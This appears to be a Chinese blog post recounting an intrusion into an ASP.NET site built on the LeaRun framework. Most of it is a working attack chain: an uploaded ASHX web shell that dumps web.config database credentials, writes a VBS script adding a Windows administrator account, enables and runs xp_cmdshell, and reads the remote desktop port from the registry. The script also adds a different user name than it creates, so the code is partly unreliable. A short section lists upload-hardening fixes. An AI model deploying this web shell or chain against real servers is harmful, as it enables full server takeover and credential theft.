ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)
笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷。
上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点。
还是先讲下流程:
1、上传代码页面 我上传的是ashx页面。
2、用ashx页面已文本形式显示web.Config的内容 得到数据库连接,
3、用ashx在网站根目录输出vbs脚本(创建Windows账户脚本)
4、开启数据库的xp_cmdshell。
5、利用数据库执行在网站根目录输出vbs脚本。入侵就完成了
ashx代码文件如下
/// <summary>
/// 显示配置文件
/// </summary>
/// <param name="context"></param>
public void ShowWebConfig(HttpContext context)
{
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
}
/// <summary>
/// 写vbs脚本
/// </summary>
/// <param name="context"></param>
public void WriteVbs(HttpContext context)
{
System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")\r\nos=\"WinNT://\"&wsnetwork.ComputerName\r\nSet ob=GetObject(os) '得到adsi接口,绑定\r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nSet od=ob.Create(\"user\",\"test\") '建立用户\r\nod.SetPassword \"1234\" '设置密码\r\nod.SetInfo '保存\r\nSet of=GetObject(os&\"/test\",user) '得到用户\r\noe.add os&\"/freeast\" \r\n");
}
/// <summary>
/// 直线数据库
/// </summary>
/// <param name="connection"></param>
/// <param name="sql"></param>
public void ExecuteSql(string connection, string sql)
{
using (SqlConnection con = new SqlConnection(connection))
{
using (SqlCommand commd = new SqlCommand(sql, con))
{
con.Open();
commd.ExecuteNonQuery();
con.Close();
}
}
}
/// <summary>
/// 直线数据库并输出表格
/// </summary>
/// <param name="context"></param>
/// <param name="connection"></param>
/// <param name="sql"></param>
public void ExecuteSql1(HttpContext context,string connection, string sql)
{
System.Data.DataTable table = new System.Data.DataTable();
using (SqlConnection con = new SqlConnection(connection))
{
using (SqlCommand commd = new SqlCommand(sql, con))
{
con.Open();
using (SqlDataAdapter ad = new SqlDataAdapter(commd))
{
ad.Fill(table);
}
con.Close();
}
}
foreach (System.Data.DataRow row in table.Rows)
{
foreach (System.Data.DataColumn column in table.Columns)
{
context.Response.Write(row[column]);
context.Response.Write("\t");
}
context.Response.Write("\r\n");
}
}
/// <summary>
/// 显示远程桌面端口
/// </summary>
/// <param name="context"></param>
private void ShowPort(HttpContext context)
{
context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
}
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain"; try
{
var connection = context.Request.QueryString["connection"];
switch (context.Request.QueryString["method"])
{
case "": WriteVbs(context); break;
case "":
ExecuteSql(connection,@"sp_configure 'show advanced options',1 reconfigure");
ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
break;
case "": ExecuteSql1(context, connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
break;
case "": ShowPort(context); break;
default:
ShowWebConfig(context);
break;
}
}
catch (Exception ex)
{
context.Response.Write(ex.Message);
}
context.Response.End();
}
public bool IsReusable
{
get
{
return false;
}
}
這里我们以 "LeaRun.信息化快速开发框架"的在线按钮为例
上传文件我就不说了,上篇有人在问我怎么显示web.Config的内容,我这里具体贴下代码 其实很简单,File.ReadAllText web.config文件就可以了
public void ShowWebConfig(HttpContext context)
{
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
}
运行后直线ashx 得到数据库连接,如图

其次就是创建Windows账户的脚本
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/freeast"
然后开启数据库的xp_cmdshell。
sp_configure 'show advanced options',1 reconfigure Go sp_configure 'xp_cmdshell',1 reconfigure
在最后执行vbs脚本
exec master..xp_cmdshell 'cscript 脚本文件目录"'
运行结果如下:

好 这说明直线成功了。。。。 也就是服务器用户添加成功了
现在要开始远程桌面了,于是个端口扫描工具发现3389是关的,于是断定肯定是修改了端口后,于是就加了个代码,让程序去读取远程桌面端口,
代码如下:
/// <summary>
/// 显示远程桌面端口
/// </summary>
/// <param name="context"></param>
private void ShowPort(HttpContext context)
{
context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
}
好了 到這里 一切的完成了 ,打开远程桌面连接吧。。

因为此次公开还没来得及通知 事主 于是自己帮事主把这个漏洞补上了后才发出来的,所以你们也不要去试了 -.-!!!!
然后我在来说说补救的方法,我就简单介绍几种了
1、将上传的文件放到网站外,也就是说 让iit读取不到(但记得分配权限) ,如:假如我网站放在 d:\\Web\Oa\ 这个是我网站的跟目录,那么我上传的文件 可以放到 d:\File\OA 里面,别人就不能直接访问
2、就是在上传文件的目录下新建立个web.config 把所有请求都拒绝,(C#是可以读取的,只是需要用Response.WriteFile 输出)
3、全部压缩
。。。。。。。。。。。。。。。。
好了 ,大家抓紧把之前的项目整理一遍吧,把能补的补上。。。。 千万别用這些漏洞去做坏事哦 ,。。。 那样你会被请去喝茶的。。。。-.-!!!!!
ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)的更多相关文章
- ASP.NET Core模块化前后端分离快速开发框架介绍之4、模块化实现思路
源码 GitHub:https://github.com/iamoldli/NetModular 演示地址 地址:https://nm.iamoldli.com 账户:admin 密码:admin 前 ...
- ASP.NET Core模块化前后端分离快速开发框架介绍之2、快速创建一个业务模块
源码地址 GitHub:https://github.com/iamoldli/NetModular 演示地址 地址:https://nm.iamoldli.com 账户:admin 密码:admin ...
- 项目开源-基于ASP.NET Core和EF Core的快速开发框架
前言:作为一名95后的程序猿,已经写了一年多的代码了,为了提升自己的技术水平,所以决定尝试编写一个快速开发框架开源出来,一来提升自己的技术水平,二来助力.NET Core生态发展 写这个框架主要是为了 ...
- ASP.NET网站入侵第三波(fineui系统漏洞,可导致被拖库)
注:屏蔽本漏洞的紧急通知:http://fineui.com/bbs/forum.php?mod=viewthread&tid=7863 本人小学文化,文采不好,写的不好请各位多多包含, 最近 ...
- ASP.NET Core模块化前后端分离快速开发框架介绍之1、开篇
源码地址 GitHub:https://github.com/iamoldli/NetModular 演示地址 地址:https://nm.iamoldli.com 账户:admin 密码:admin ...
- ASP.NET MVC4.0+ WebAPI+EasyUI+KnockOutJS快速开发框架 通用权限管理系统
1.基于 ASP.NET MVC4.0 + WebAPI + EasyUI + Knockout 的架构设计开发 2.采用MVC的框架模式,具有耦合性低.重用性高.生命周期成本低.可维护性高.有利软件 ...
- ASP.NET Core模块化前后端分离快速开发框架介绍之3、数据访问模块介绍
源码 GitHub:https://github.com/iamoldli/NetModular 演示地址 地址:https://nm.iamoldli.com 账户:admin 密码:admin 前 ...
- 记一次ASP.NET网站的入侵和如何避免被入侵
ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下) 详细介绍请看第二波 首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序 前些日子我去客 ...
- 力软信息化系统快速开发框架 web端+winform端
力软信息化系统快速开发框架是一套集权限管理+快速开发+动态接口+通用组件+动态UI于一体的全新.net信息化快速开发框架.力软信息化系统快速开发框架的使用,大大地缩短了开发周期,提高了软件质量,同时也 ...
随机推荐
- IIS7配置PHP图解(转)
IIS7+PHP_5.2.17 于之前安装IIS的时候已经选上了isapi扩展和isapi筛选,这里就不用另外再添加角色服务了,直接开始 先修改php.ini文件.. 把c:\php下的php.ini ...
- 仿哔哩哔哩应用客户端Android版源码项目
这是一款高仿哔哩哔哩安卓客户端,跟官方网的差不多吧,界面也几乎是一样的,应用里面也加了一些弹出广告,大家可以参考一下吧,安装测试包在源码文件那里,大家可以多多参考一下. 哔哩哔哩弹幕网是国内知名的弹幕 ...
- linux下yum命令出现Loaded plugins: fastestmirror
yum install的时候提示:Loaded plugins: fastestmirror fastestmirror是yum的一个加速插件,这里是插件提示信息是插件不能用了. 不能用就先别用呗,禁 ...
- Scikit-Learn模块学习笔记——数据预处理模块preprocessing
preprocessing 模块提供了数据预处理函数和预处理类,预处理类主要是为了方便添加到 pipeline 过程中. 数据标准化 标准化预处理函数: preprocessing.scale(X, ...
- sql中in和exists效率问题 转自百度知道
in和existsin 是把外表和内表作hash 连接,而exists是对外表作loop循环,每次loop循环再对内表进行查询. 如果两个表中一个较小,一个是大表,则子查询表大的用exists,子查询 ...
- 洛谷U4727小L的二叉树[树转序列 LIS]
题目背景 勤奋又善于思考的小L接触了信息学竞赛,开始的学习十分顺利.但是,小L对数据结构的掌握实在十分渣渣. 所以,小L当时卡在了二叉树. 题目描述 在计算机科学中,二叉树是每个结点最多有两个子结点的 ...
- java设计模式:单例模式
单例模式:运行期间有且仅有一个实例 1.一个类只有一个实例 2.必须自行创建这个实例 3.必须自行向整个系统提供这个实例 懒汉模式: 在类加载时不创建实例,运行调用时创建.类加载快,在运行时获取对象慢 ...
- 能跨域和跨浏览器的flashcookie for jquery插件
对于写网站时需要跨域和跨浏览器的可以看看这个. 引入jquery 和 swfstore.min.js 就可以了,蛮简单好用的,会jquery基础就可以咯. mySwfStore.set('myKey ...
- form表单验证和事件、正则表达式
1.表单验证<form></form> (1).非空验证(去空格) (2).对比验证(跟一个值对比) (3).范围验证(根据一个范围进行判断) (4).固定格式验证:电话号码, ...
- J2EE中关于tomcat的maxIdle、maxActive、maxActive相关配置
一.基本概念 1 maxActive 连接池的最大数据库连接数.设为0表示无限制,一般把maxActive设置成可能的并发量就行了 2 maxIdle 最大的空闲连接数 3 maxWait 最大建立连 ...